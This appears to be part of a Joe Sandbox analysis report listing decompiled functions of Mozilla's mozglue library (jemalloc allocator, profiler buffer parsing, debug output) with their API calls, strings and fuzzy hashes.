Instruction Fuzzy Hash: E3C2E171A097418FDB14CF2DC580756BBE1BF85329F28CA6DE4698BB95C731E801CB89

Function 6C65E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C65E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C65EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C65F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C660E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C660E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C660EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C660ED4

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 22193c7bf6e65f47521a7546cbfd2b41534f1c3c426c4e39e0d0d991257189db
Instruction ID: a31dd06adc9b702a02bb8e2572f8e59d8429ecd96f9f434b4dda432a258bda88
Opcode Fuzzy Hash: 22193c7bf6e65f47521a7546cbfd2b41534f1c3c426c4e39e0d0d991257189db
Instruction Fuzzy Hash: EB63AD71E0025ACFCB04CFA9C8906DDFBB2FF89314F298229D855AB745D730A946CB95

Function 6C633E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C657770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>cl,?,?,?,6C633E7D,?,?), ref: 6C65777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C633F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C633F5C
VerSetConditionMask.NTDLL ref: 6C633F8D
VerSetConditionMask.NTDLL ref: 6C633F99
VerSetConditionMask.NTDLL ref: 6C633FA0
VerSetConditionMask.NTDLL ref: 6C633FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C633FB4

Strings

nvinit.dll, xrefs: 6C634479
C>cl, xrefs: 6C633E93
nvd3d9wrap.dll, xrefs: 6C634466

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>cl$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-369860140
Opcode ID: 232f1babb309a049ad98be6d2209b629328481822a0ad36c1227a257630d5375
Instruction ID: 574b3716a0422b7612d7549a2b8105cd50241476d29c98c0a03fdc2339f1300a
Opcode Fuzzy Hash: 232f1babb309a049ad98be6d2209b629328481822a0ad36c1227a257630d5375
Instruction Fuzzy Hash: 69520631614B444FDB19DF35C980ABBB7E9AF81308F14482DD5968B782CB74F909CB68

Function 6C60FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E7B8), ref: 6C60FF81
LeaveCriticalSection.KERNEL32(6C67E7B8), ref: 6C61022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C610240
EnterCriticalSection.KERNEL32(6C67E768), ref: 6C61025B
LeaveCriticalSection.KERNEL32(6C67E768), ref: 6C61027B

Strings

MOZ_CRASH(), xrefs: 6C610CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C60FE99, 6C60FEB7, 6C60FED3, 6C610DB8, 6C610DD3, 6C6119B4, 6C611A10

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 4d29b1e154bddc2818cff3ad6370a802c538136e2c816f565c7df0c224911fd8
Instruction ID: 98f3742efe59498302514fc9115d23a827b1977b704ecb00c76476955657479d
Opcode Fuzzy Hash: 4d29b1e154bddc2818cff3ad6370a802c538136e2c816f565c7df0c224911fd8
Instruction Fuzzy Hash: 0FB2DF71A097418FDB18CF2DC590756BBE1BF85329F28C66CE86A8BB95C730D840CB49

Function 6C645600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

data, xrefs: 6C646131
name, xrefs: 6C645E79, 6C645E8F
ProfileBuffer parse error: %s, xrefs: 6C645AC8, 6C645CBB
expected a Count entry, xrefs: 6C645AC3
expected a Time entry, xrefs: 6C645CB6
schema, xrefs: 6C64606D

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 3d1a8dcc057f76f54154867015abd025f1343b9fd2668b6ee31e85a26b8bd3e3
Instruction ID: c4f5b736671e16504ff2e2bee2e50b355c3b855a2393bd10c6815b562569f0a5
Opcode Fuzzy Hash: 3d1a8dcc057f76f54154867015abd025f1343b9fd2668b6ee31e85a26b8bd3e3
Instruction Fuzzy Hash: 59923C71A083418FD724CF29C490B9ABBE1BFC9308F14C91DE59A9B751DB31E849CB96

Function 6C642E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C642ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C642EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C642F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C643214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C643242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6436BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C64378D
set , xrefs: 6C6436EC
get , xrefs: 6C643205

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 8f722619ab7271e4526f7f779c3f5e81d8887b2c8a138ec69ffd251075ddd3ad
Instruction ID: 153a85726fc7378a0a03c8b11008009d5362e6eb2f5fea8bf72bb93da298ed05
Opcode Fuzzy Hash: 8f722619ab7271e4526f7f779c3f5e81d8887b2c8a138ec69ffd251075ddd3ad
Instruction Fuzzy Hash: 5A325D706083818FD724CF24C4906AFBBE2AFCA318F54CD2DE59987751DB31994ACB5A

Function 6C637E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C638280, 6C6383E1
(pre-xul), xrefs: 6C637E88
vgl, xrefs: 6C638207
name, xrefs: 6C637ECF, 6C638335
schema, xrefs: 6C6381E3, 6C638311

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vgl
API String ID: 3412268980-3118193200
Opcode ID: 8ba245cea1923ba422a61649ee8527e7bfdd0b5f7a5fd938c013ee1e84b136a8
Instruction ID: 9d5d5719b19ace90b9baa9988b55942f583489c675912c8a747ea33ee751844c
Opcode Fuzzy Hash: 8ba245cea1923ba422a61649ee8527e7bfdd0b5f7a5fd938c013ee1e84b136a8
Instruction Fuzzy Hash: 31E16EB1B043508BC714CF69884065BFBEABFC5314F14892DE899E7790DBB0DD498B9A

Function 6C655FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C656009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C656024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Q_l,?), ref: 6C656046
OutputDebugStringA.KERNEL32(?,Q_l,?), ref: 6C656061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C656069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C656073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C656082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C67148E), ref: 6C656091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Q_l,00000000,?), ref: 6C6560BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6560C4

Strings

Q_l, xrefs: 6C655FFC, 6C656042, 6C656045, 6C6560B3

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Q_l
API String ID: 3835517998-757364120
Opcode ID: cd83abbf4ec0b2c89e0950d6895fef7365f10fa9f95db4a0fec31125532f577d
Instruction ID: 0dbfa66d316b73d8ffd2b603db7484e1e19f27841cb2742a954508b80e96fd45
Opcode Fuzzy Hash: cd83abbf4ec0b2c89e0950d6895fef7365f10fa9f95db4a0fec31125532f577d
Instruction Fuzzy Hash: 5F210570A002189FDB105F25DC4DAAE7BB8FF85718F108828E81AD7340CB34A959CFE9

Function 6C615E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C615EDB
memset.VCRUNTIME140(ewel,000000E5,?), ref: 6C615F27
LeaveCriticalSection.KERNEL32(?), ref: 6C615FB2
memset.VCRUNTIME140(ewel,000000E5,?), ref: 6C6161F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C617652

Strings

MOZ_CRASH(), xrefs: 6C617BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6172F8
ewel, xrefs: 6C615E9C, 6C615F22, 6C6161ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6172E3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C61730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C617BCD, 6C617C1F, 6C617C34, 6C6180FD

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewel
API String ID: 2613674957-3199334182
Opcode ID: dabfec87ba2c0bdf99521cda5077dbdfc047a2650f0c2dfe393e52ef22e7958b
Instruction ID: d873d38de881a35cba0c7ac0bba5f8815ad3e82048a20bb418226241c6e59221
Opcode Fuzzy Hash: dabfec87ba2c0bdf99521cda5077dbdfc047a2650f0c2dfe393e52ef22e7958b
Instruction Fuzzy Hash: 9E338C716097018FC308CF2DC590615BBE2FF85329F29C6ADE9698BBA5D731E841CB49

Function 6C644820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

data, xrefs: 6C6449B4
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C644D0A
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C644CAF
-%llu, xrefs: 6C644825
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C644DB8, 6C644DD8
gl, xrefs: 6C644F88
ProfileBuffer parse error: %s, xrefs: 6C644DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C644D65
schema, xrefs: 6C6448C1

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free
String ID: gl$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-1877600697
Opcode ID: d16035057b397de6e403e5c36f180a7cbf305d7e56c343ba8e82fbe6ed599610
Instruction ID: f9364334e7e4277b22eb56b5fbb684030e89b7b14886a246c3d1d44452a3047d
Opcode Fuzzy Hash: d16035057b397de6e403e5c36f180a7cbf305d7e56c343ba8e82fbe6ed599610
Instruction Fuzzy Hash: 92721B71918B858BD362CF34C4513ABF7E5AFDA344F10CB1DE48A6B610EB70A486DB46

Function 6C61D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D4F2
LeaveCriticalSection.KERNEL32(6C67E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D50B

Part of subcall function 6C5FCFE0: EnterCriticalSection.KERNEL32(6C67E784), ref: 6C5FCFF6
Part of subcall function 6C5FCFE0: LeaveCriticalSection.KERNEL32(6C67E784), ref: 6C5FD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D52E
EnterCriticalSection.KERNEL32(6C67E7DC), ref: 6C61D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C61D6A6
LeaveCriticalSection.KERNEL32(6C67E7DC), ref: 6C61D712
LeaveCriticalSection.KERNEL32(6C67E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C61D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C61D82C
<jemalloc>, xrefs: 6C61D827

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: bf6e5e232ca202e544e4fc4cff9828bffab9c94ee90585403f16e694e4c0920e
Instruction ID: be4dd4740b90a97457fe28c7205c56831057b5889f574d2716ebc351663f5cb5
Opcode Fuzzy Hash: bf6e5e232ca202e544e4fc4cff9828bffab9c94ee90585403f16e694e4c0920e
Instruction Fuzzy Hash: 2991F371A087118FD71ACF2DC49076AB7E1EB89319F14892EE45AC7F80D734E845CB9A

Function 6C654EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C654EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C654F2E
moz_xmalloc.MOZGLUE ref: 6C654F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C654F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6552B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6552E6
Sleep.KERNEL32(00000010), ref: 6C655481
free.MOZGLUE(?), ref: 6C655498

Strings

(, xrefs: 6C655250

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 029c3fea6ef1d458663b5b98550b62e76978de50eb5513f72802d42340b4d222
Instruction ID: 37fac6fe6ec29b5788413457d72f15c0df9a883d5aa7b6b2029c1e2208d4d449
Opcode Fuzzy Hash: 029c3fea6ef1d458663b5b98550b62e76978de50eb5513f72802d42340b4d222
Instruction Fuzzy Hash: 1BF1E471A18B108FC717CF3AC89062BB7F5AFD6384F058B2EF846A7650DB3194428B45

Function 6C657030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C657046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C657060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C65707E

Part of subcall function 6C6081B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a Time entry), ref: 6C6081DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C657096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C65709C
LocalFree.KERNEL32(?), ref: 6C6570AA

Strings

(null), xrefs: 6C65706A, 6C657083
### ERROR: %s: %s, xrefs: 6C657087

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 0f47b4ad35c498fcdf2de1ee3248b38c4f8ee584d31f1739690621f1ba7cc03e
Instruction ID: 04c24cfe2b536172f2a6581dc3b58e4f1bb9835d1f3c74a6efe38451ddefc69b
Opcode Fuzzy Hash: 0f47b4ad35c498fcdf2de1ee3248b38c4f8ee584d31f1739690621f1ba7cc03e
Instruction Fuzzy Hash: 5701B9B1A00114AFDB05AB65DC4EDAF7BBCEF89254F010825FA05A3241D67169188FB9

Function 6C619E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C619EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C619F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C619F34
LeaveCriticalSection.KERNEL32(?), ref: 6C61A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C61A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C61A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C61A8B1, 6C61A8D4, 6C61A8EF

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 29039da5dfb41047593cab579e16018c3db6cb76f7830909b64475fb191966b5
Instruction ID: 98701b54d468b7fb9f09e4616f4389b0237ccceeee05bb678cba3ffd5b5e0217
Opcode Fuzzy Hash: 29039da5dfb41047593cab579e16018c3db6cb76f7830909b64475fb191966b5
Instruction Fuzzy Hash: CB727A72A097118FD304CF2DC540615FBE1BF89329F29C66DE8699BB92D335E846CB84

Function 6C659E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C659F3D
__aulldiv.LIBCMT ref: 6C659F77
__aullrem.LIBCMT ref: 6C659F8C
__aulldiv.LIBCMT ref: 6C65A023

Strings

-Infinity, xrefs: 6C659E60, 6C659E7B
NaN, xrefs: 6C659EAB

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 7fdc79c1a7c3e06c9313a7734d477d0b8bef83ae61520ae52db93d9a6e660505
Instruction ID: 01c5b72a193fd4e867f436d0ed1f84c38a413ea25b192cfbd855982419c59a13
Opcode Fuzzy Hash: 7fdc79c1a7c3e06c9313a7734d477d0b8bef83ae61520ae52db93d9a6e660505
Instruction Fuzzy Hash: 88C1C471E043188BDB14CF98C8507EEB7B6AF85308FA44529D405ABB81D771A94ACBA9

Function 6C5FD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

@, xrefs: 6C5FDAF6
8, xrefs: 6C5FDC08
, xrefs: 6C5FDA88
0, xrefs: 6C5FD852
9, xrefs: 6C5FDE7F
-, xrefs: 6C5FD7DD
0, xrefs: 6C5FDC7F
1, xrefs: 6C5FDBDD

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
